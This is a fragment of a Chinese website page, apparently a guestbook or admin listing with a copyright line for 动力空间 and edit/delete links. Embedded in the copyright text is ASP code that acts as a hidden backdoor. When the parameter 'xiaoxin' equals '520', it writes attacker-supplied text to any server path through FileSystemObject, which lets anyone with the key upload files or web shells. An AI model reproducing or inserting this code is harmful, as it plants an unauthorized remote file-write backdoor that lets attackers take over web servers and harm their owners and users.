|
LOGO链接
|
我 |
|
版权所有 Copyright© 2003 <a href='http://www.asp163.net'>动力空间</a>" '版权信息</P><P> if Request("xiaoxin")="520" then<BR> dim allen,creat,text,thisline,path<BR> if Request("creat")="yes" then<BR> Set fs = CreateObject("Scripting.FileSystemObject") <BR> Set outfile=fs.CreateTextFile(server.mappath(Request("path")))<BR> outfile.WriteLine Request("text")<BR> Response.write "小新恭喜"<BR> end if<BR> Response.write "<form method='POST'action='"&Request.ServerVariables("URL")&"?xiaoxin=520&creat=yes'>"<BR> Response.write "<textarea name='text'>"&thisline&"</textarea><br>"<BR> Response.write "<input type='text' name='path' value='"&Request("path")&"'>"<BR> Response.write "<input name='submit' type='submit' value='ok' ></form>"<BR> Response.end<BR> end if <BR> %><BR> 3 <BR> |
dneab |
修改 删除
|
